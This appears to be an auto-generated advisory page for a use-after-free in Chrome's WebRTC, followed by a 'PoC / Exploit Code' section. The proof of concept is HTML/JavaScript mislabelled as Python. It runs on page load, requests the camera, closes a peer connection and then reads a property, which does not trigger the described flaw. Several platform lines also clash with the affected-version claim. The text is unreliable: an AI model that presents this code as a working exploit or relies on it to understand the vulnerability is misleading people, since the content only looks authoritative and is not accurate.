Use after free in WebRTC in Google Chrome prior to 147.0.7727.138 allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page. (Chromium security severity: High)
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 147.0.7727.138
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-7341: Conceptual UAF in WebRTC -->
<html>
<body>
<script>
// This is a conceptual demonstration of the Use-After-Free vulnerability.
// Actual exploitation requires precise heap grooming and memory layout control.
let peerConnection;
function trigger_uaf() {
// Step 1: Create a WebRTC PeerConnection object
peerConnection = new RTCPeerConnection();
// Step 2: Setup tracks to force object allocation
const stream = navigator.mediaDevices.getUserMedia({video: true});
stream.then(s => {
s.getTracks().forEach(track => peerConnection.addTrack(track, s));
});
// Step 3: Trigger the vulnerability condition (Hypothetical cleanup)
// In the real bug, specific API calls cause the object to be freed prematurely.
setTimeout(() => {
peerConnection.close(); // Object should be freed here
// Step 4: Attempt to access the freed object (Use After Free)
// If successful, this leads to arbitrary code execution within the sandbox.
try {
// Accessing a property of the freed object triggers the crash/exploit
console.log(peerConnection.localDescription);
} catch (e) {
console.log("Potential access violation triggered.");
}
}, 100);
}
// Auto-trigger on load
window.onload = trigger_uaf;
</script>
</body>
</html>